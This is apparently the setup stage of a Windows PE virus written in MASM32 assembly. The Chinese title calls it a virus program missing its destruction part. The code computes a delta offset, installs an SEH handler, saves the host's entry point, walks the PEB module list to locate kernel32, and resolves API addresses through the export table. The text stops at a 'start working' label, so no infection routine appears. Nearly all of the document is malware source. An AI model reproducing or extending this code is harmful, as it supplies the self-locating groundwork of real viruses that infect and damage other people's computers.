缺少破坏部的病毒程序

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib

.code
VExit:
    invoke ExitProcess,NULL

VIRUS SEGMENT PARA USE32 'VIRUS'
ASSUME CS:VIRUS,DS:VIRUS
;***************************************************************************
;****************** 准备工作 *****************************************
;***************************************************************************
VStart:
    push    ebp
    push    esp

    call    GetActualAddr
GetActualAddr:
    pop    ebp
    sub    ebp,GetActualAddr

    ;设置SEH
    assume    fs:nothing
    lea    ebx,SEH[ebp]
    push    ebx
    push    fs:[0]
    mov    fs:[0],esp
    mov    oldEsp[ebp],esp
    ;保存程序入口地址
    cmp    old_base[ebp],0
    jnz    @F
    mov    old_base[ebp],400000h
@@:
    cmp    old_in[ebp],0
    jnz    @F
    mov    old_in[ebp],3000h
@@:
    mov    eax,old_base[ebp]
    mov    des_base[ebp],eax
    mov    eax,old_in[ebp]
    mov    des_in[ebp],eax
    ;kernel32基址重定位
    assume    fs:nothing
FindKernel32:
    ;mov esi,fs:[30h]        ;Peb
    ;mov esi,[esi+0ch]        ;LDR
    ;mov esi,[esi+0ch]        ;InLoadOrderModuleList
    ;mov esi,[esi]        ;[_LDR_MODULE.InLoadOrderModuleList].Blink
    ;mov esi,[esi]        ;[_LDR_MODULE.InLoadOrderModuleList].Blink
    ;mov esi,[esi+18h]        ;[_LDR_MODULE.InLoadOrderModuleList]. BaseAddress
    MOV     ESI,FS:[30H]         ; ESI = &(PEB) ([FS:0x30])
    MOV     ESI,[ESI + 0CH]     ; ESI = PEB->Ldr
    MOV     ESI,[ESI + 1CH]     ; ESI = PEB->Ldr.InInitOrder
next_module:
    MOV    EAX, [ESI + 08H]    ; EAX = InInitOrder[X].base_address
    MOV     EDI, [ESI + 20H]     ; EDI = InInitOrder[X].module_name (unicode)
    MOV     ESI, [ESI]         ; ESI = InInitOrder[X].flink (next module)
    CMP     word ptr [EDI + 12*2], 00h     ; modulename[12] == 0 ?
    JNE     next_module
    MOV     ESI, EAX
GetPeHeader:
    mov    edi,dword ptr[esi+3ch]
    add    edi,esi
    cmp    word ptr[edi],'EP'
    jnz    short FindKernel32
    mov    vKernel32[ebp],esi
GetPeExportTable:
    mov    ebx,[edi+78h]
    add    ebx,vKernel32[ebp]
    mov    vExportKernel[ebp],ebx
    ;获取API函数GetProcAddress的地址
    push    14
    call    aGetProcAddr
    db    "GetProcAddress",0
aGetProcAddr:
    lea    eax,GetApiAddress[ebp]
    call    eax
    or    eax,eax
    jz    ExitTimes
    mov    vGetProcAddress[ebp],eax
    ;获取API函数GetModuleHandle的地址
    push    15
    call    aGetModHandle
    db    "GetModuleHandle",0
aGetModHandle:
    lea    eax,GetApiAddress[ebp]
    call    eax
    or    eax,eax
    jz    ExitTimes
    mov    vGetModuleHandle[ebp],eax
    ;获取KERNEL32.DLL模块的句柄
    call    MKernel32Dll
    db    "Kernel32.dll",0
MKernel32Dll:
    call    dword ptr vGetModuleHandle[ebp]
    or    eax,eax
    jz    ExitTimes
    mov    Kernel32Handle[ebp],eax    ;调试发现Kernel32Handle=vKernel32
    ;获取其他API函数的地址
    lea    esi,bLoadLibrary[ebp]
    lea    edi,vLoadLibrary[ebp]
    cld
LoopGetFunction:
    lodsd
    add    eax,ebp
    push    eax
    mov    eax,Kernel32Handle[ebp]
    push    eax
    call    dword ptr vGetProcAddress[ebp]
    or    eax,eax
    jz    ExitTimes
    stosd
    cmp    dword ptr[esi],0
    jnz    LoopGetFunction
    ;获取MessageBoxA的地址
    call    MUserDll
    db    "User32.dll",0
MUserDll:
    call    dword ptr vGetModuleHandle[ebp]
    or    eax,eax
    jnz    Right
    call    LUserDll
    db    "User32.dll",0
LUserDll:
    call    dword ptr vLoadLibrary[ebp]
    or    eax,eax
    jz    ExitTimes
Right:
    call    GetMess
    db    "MessageBoxA",0
GetMess:
    push    eax
    call    dword ptr vGetProcAddress[ebp]
    or    eax,eax
    jz    ExitTimes
    mov    vMessageBox[ebp],eax
;***************************************************************************
;****************** 开始干活 *****************************************
;***************************************************************************